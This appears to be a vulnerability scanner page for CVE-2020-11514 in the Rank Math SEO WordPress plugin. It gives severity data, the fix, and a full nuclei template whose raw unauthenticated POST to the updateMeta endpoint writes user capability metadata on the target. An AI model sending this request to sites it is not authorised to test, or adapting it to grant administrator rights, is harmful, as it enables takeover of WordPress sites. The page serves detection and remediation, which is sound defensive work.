Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint

criticalseverity

9.8CVSS score

10.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.

Impact

Unauthenticated attackers can escalate their privileges to administrator level or revoke administrative access from legitimate users, leading to complete compromise of the WordPress site.

Fix

Update the Rank Math SEO plugin to version 1.0.41 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/seo-by-rank-math/readme.txt
Positive when: status_code == 200 and contains(body, "Rank Math")
Send: POST /wp-json/rankmath/v1/updateMeta
Positive when: contains(body, "true") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2020-11514 -u <target>

The full check

id: CVE-2020-11514

info:
  name: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint
  author: s4e-io
  severity: critical
  description: |
    The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.
  impact: |
    Unauthenticated attackers can escalate their privileges to administrator level or revoke administrative access from legitimate users, leading to complete compromise of the WordPress site.
  remediation: |
    Update the Rank Math SEO plugin to version 1.0.41 or later.
  reference:
    - https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
    - https://rankmath.com/changelog/
    - https://wordpress.org/plugins/seo-by-rank-math/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11514
    cwe-id: CWE-862
    epss-score: 0.1086
    epss-percentile: 0.95896
    cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: rankmath
    product: seo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
  tags: cve,cve2020,wordpress,wordfence,seo-by-rank-math,wp-plugin,priv-esc,unauth,vkev,vuln

variables:
  objecttype: "{{randstr}}"
  rank: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/seo-by-rank-math/readme.txt"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Rank Math")'
        condition: and

  - raw:
      - |
        POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "objectID": "{{rand_int(1)}}",
          "objectType": "{{objecttype}}",
          "meta": {
            "rank_math_capabilities": ["{{rank}}"]
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "true")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from